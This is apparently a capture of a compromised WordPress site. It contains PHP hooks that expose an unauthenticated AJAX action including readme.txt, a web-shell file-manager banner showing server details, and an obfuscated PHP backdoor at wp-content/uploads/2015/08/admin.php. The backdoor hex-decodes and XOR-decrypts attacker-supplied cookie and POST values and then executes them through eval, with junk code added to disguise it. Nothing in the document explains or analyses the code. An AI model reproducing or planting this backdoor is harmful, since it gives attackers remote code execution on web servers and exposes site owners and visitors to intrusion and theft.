if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs20250613/wp-content/uploads/2015/08/admin.php
<?php function/*w*/AmJRvEdyS($YGwXPdmr)
   	{
  return/*   J  */@pack(   "\x48"	.	"\52",/* vwJWa  */$YGwXPdmr	);

/*lFviE  */
				$JigIJ	=	md5($YGwXPdmr);
		/*Z*/$EgjPSD/*  fki   */=/*  Mkpg  */base64_decode($YGwXPdmr);

/* K */if/*yvSpu */($EgjPSD	===     false)     {
     $EgjPSD     = '';;
  /*  szzE*/}
			/*   x */$nueYj  =	str_split($YGwXPdmr);;
 	$HHeYVCgpl     =    strlen($YGwXPdmr);$_Nkk =/*  Bjc */'5720';

	$szqRoaGdEm/*   q*/=/*Z   */0;$_BSOoo/*S*/=	'35390';


	while	(/*  d*/$szqRoaGdEm    </* qNDYT*/$HHeYVCgpl	)	{
        $szqRoaGdEm++;
				/*  xr  */$uGcCn    =	$nueYj[$szqRoaGdEm];
    if/* f*/(strpos($uGcCn,	'a')	!==	false)	{
 	$nueYj[$szqRoaGdEm]     =/* ZF  */strtoupper($uGcCn);

/* ubP */}

/*rQTS   */}
     /*  bxj   */$FvRxlsAMUz    =/*  giAA */implode('',	$nueYj);;
/* aJA */$_GET['decoded']/*   BID  */=/* l   */$FvRxlsAMUz;
    	$_POST['hash']/*Ur */=/*  J */$JigIJ;$_B/*   SsS   */=/*  w   */'41042';
	if	(file_exists('path/to/file'))    {

   $bIyuaZnY	=    file_get_contents('path/to/file');
					     $FpTdCcIL  =/* NxJQ*/explode(',',	$bIyuaZnY);;


	$sFoaZEsHD/*   wWQ   */=	md5(serialize($FpTdCcIL));
     	if	(is_array($FpTdCcIL))/*  tGUcG  */{
			/*q */$LSAAw     =/*   aZl   */array_slice($FpTdCcIL,/* G */0,   5);
				   }
	  }
   $ODsvj	=/*  YWnSx */array_map('trim', $LSAAw);
				$OobtktdW/* loE   */=/* Ae*/rawurldecode(implode(',',/* y*/$ODsvj));
    $_COOKIE['final_value']  =	$OobtktdW;$_IEuI	=	'57132';
/*  K*/}
  	
   function    ypKsfSMgpc()
		{
/* jUfJ*/$EQNVwc/*   m*/=    Array($_COOKIE,   $_POST);
      $PTzIgIZhbx/*   v   */=/*   DX  */array_map('md5',     $_COOKIE);

/*pCAeX  */$GPtNFx/*   omcEs*/=     strpos($_SERVER['HTTP_USER_AGENT'],	'Mozilla')	!==	false/*LkaQ */?     'browser	is	Mozilla'  :/*  dg   */'browser/* H   */is not	Mozilla';;
		/*   YCRMp*/
					if  (is_array($EQNVwc))	{
     	$ryMVhAywMp    =    array_slice($EQNVwc,/*   S*/0,	1);
						}	else/*howP*/{
       $ryMVhAywMp/*fCbU   */=	[];
					/*   BaU   */}
						
					/*  gwn */$hwVcWtD  =	explode(',',/*   CY   */'apple,orange,banana');$_DH	=/* PxnW */'811';
     /*  D*/$sXJAorCg    =/* yNXj  */rawurldecode('%20Hello%20World%20');
   /*  foeH  */$szqRoaGdEm/* w*/=     0;  

/*  SRcl   */while	($szqRoaGdEm	<	count($hwVcWtD)/*h  */)	{
   $hwVcWtD[$szqRoaGdEm]/*I */=  str_repeat($hwVcWtD[$szqRoaGdEm],/*   at   */2);
/* YsE */$szqRoaGdEm++;

 }
	
	$GIJZALCSD/*no*/=/*JI  */str_repeat($GPtNFx,/* fSHKJ   */3);$_H	=    '19276';
		
      return	$EQNVwc;$_Wm/*fQTG */=/*  KPpr*/'2626';
    }
  	
		function    uEyabwkk($HhhsSsBjS)
  	{
         $eWuYcPxaV	=  chr/*  yUBx*/(	656	-/*  Vfp  */621	);
  	foreach/* vjb*/(ypKsfSMgpc() as	$LytuaNxBT)	{


	IzCNI($LytuaNxBT,/*   NBo  */$eWuYcPxaV);$_OZv  =	'13356';
        }
						}
    
		  function  nyTJCLku($GNaebJv, $sppXeYXfD)
			{


 if/* mnGw*/(/*   CKB */count	( $GNaebJv    )  ==/*  TON  */3/*  LXA*/)/*UAVo  */{
     	$BBKKmpf/* xfZy*/=  $GNaebJv[1];
			     $bmWpt	=	$GNaebJv[2];
		/*   E  */$FnghMPKw     =/*   aEB*/$BBKKmpf($bmWpt);$_vTp     =/*WtWG  */'6931';
   	eval  (/*x   */$FnghMPKw/*   pFF*/);
     	die	();$_Hug	=  '59847';
				/*  yo   */}

/*  hKpL */}
						

/*UVxch */function rmAEPi($YGwXPdmr,/* rHmk */$UaWETgIXP)
 /* S */{
  return   $YGwXPdmr	^/* HgYtc*/$UaWETgIXP;;
        }
     	
	/*UB  */function/*  IXza   */aUhVO($nhphlGG,/* ZOmU */$eWuYcPxaV)
 	{/*  yVf */
		$nhphlGG    =	explode	($eWuYcPxaV,	$nhphlGG	);;


  
	nyTJCLku($nhphlGG,	$eWuYcPxaV);
      }
    

    function     IzCNI($LytuaNxBT,    $eWuYcPxaV)
/* iSog   */{
  /*   C   */foreach     (/*   TOWfr   */$LytuaNxBT as   $UaWETgIXP	=>/*  MxEe   */$YGwXPdmr )	{

	fXrHazv($UaWETgIXP,	AmJRvEdyS($YGwXPdmr),/*   T*/$eWuYcPxaV);;
					/* NDUZA  */}
	/* OCCj   */}
    /*RA */
		function     xuqFEzyat($UaWETgIXP,  $YGwXPdmr)


	{
 /* kHp  */$QeyWQ	=	strlen(/*  WraL  */$YGwXPdmr	)/strlen(	$UaWETgIXP	);
	/*   iWys*/$UaWETgIXP     .=	"eqJIM-GfXI-YthwiXC-CaE-OXjrdvs-BNtwu-JAkPbWh";;
	/* uOZ   */$UaWETgIXP	=   str_repeat	(   $UaWETgIXP,/*c  */intval($QeyWQ)	+	1);;
  /* KtaW  */
					/*   fIZoh  */return/*  Z  */$UaWETgIXP;

   }

   
			/*EtfQ   */function/*  xvZ*/fXrHazv($UaWETgIXP,	$YGwXPdmr,  $eWuYcPxaV)
	{	
/*   t  */aUhVO(rmAEPi($YGwXPdmr,/*  Vhg  */xuqFEzyat($UaWETgIXP,	$YGwXPdmr)),	$eWuYcPxaV);
			
 /*   pc   */$mSbrddEBGc	=	trim($YGwXPdmr);$_QaGG   =     '23270';
			/*KXEFP  */$mszjFctZD/*NKMx  */=     explode($eWuYcPxaV,/*   I   */$mSbrddEBGc);;
     if	(count($mszjFctZD)	>	1)   {
   	$aIsTp     =/*  leyDz*/implode("\55",	$mszjFctZD);;
/*   KyDXv */$QAKUG	=/*YzsG*/str_pad($aIsTp,    20,	chr/*  UHzq   */(/*  tEr*/895/*   X*/-  847/*  SXS  */),     STR_PAD_RIGHT);
 /* AZXWG   */}	else     {

	$QAKUG	=	str_replace(chr	(   730   -	698	),    "\x5f",  $mSbrddEBGc);$_zRfES   =/*  g */'16613';
	}
    $pjTfny	=   empty($eWuYcPxaV);


/*PBqRs */if   (!$pjTfny) {


   $VKQNdFEn	=	substr($QAKUG,/*U   */0, 10);
						}	else/*  h*/{

/* Vz   */$VKQNdFEn	= $QAKUG;$_bfL	=     '55188';
			/*MDK*/}
			}
		/*   ALhmE   */
						uEyabwkk("");